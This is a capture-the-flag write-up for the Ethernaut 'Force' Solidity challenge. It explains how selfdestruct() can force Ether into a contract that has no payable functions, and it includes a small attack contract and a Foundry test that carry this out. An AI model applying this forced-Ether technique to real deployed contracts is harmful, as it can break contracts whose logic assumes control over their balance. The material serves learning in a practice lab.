Overview
This level introduces us to the following concept(s):
- The magic of the
selfdestruct()
function ✨
GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry
Objective
To complete the challenge, we will need to:
- Make the balance of the contract greater than zero.
Contract Analysis
The contract contains a remarkable ASCII cat, and ... nothing else!
contract Force {
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}
Since the contract does not have any payable
function, it should revert any ether transaction we throw at it.
Contracts that receive Ether directly (without a function call, i.e. using send or transfer) but do not define a receive Ether function or a payable fallback function throw an exception, sending back the Ether (this was different before Solidity v0.4.0).
docs.soliditylang.org/en/v0.8.10/contracts...
The next paragraph in the docs reveal there are two other ways in which our contract can actually receive Ether:
1- Miner block rewards aka. coinbase transactions
2- Being the recipient of a selfdestruct()
function!
The self-destruct function is the only way to "delete" a contract from the blockchain. In truth, the code will remain stored forever, but the contract state is indefinitely marked as "suicided/self-destructed" in the state trie.
Before getting marked, all remaining Ether in the contract's balance will be sent to a designated address. This is what we will use to complete the challenge.
💡 Recommended reads:
Attacking The Contract
Make sure to read through Part 0 for setup instructions.
Create the Force.t.sol
test file in the test/
directory that will contain the attack logic (level setup and submission is truncated for clarity):
This attack requires us to deploy an intermediate contract that we will destroy:
contract ForceAttack {
Force force;
constructor(Force _force) {
force = _force;
}
function attack() public payable {
address payable sendTo = payable(address(force));
selfdestruct(sendTo);
}
}
We just need to send Ether to ForceAttack
which will in turn self-destruct and send its funds to Force
.
function testForceHack() public {
ForceAttack attackContract = new ForceAttack(forceContract);
attackContract.attack{value: 1 ether}();
assertEq(address(forceContract).balance, 1 ether)
}
Run the attack using the forge test
subcommand: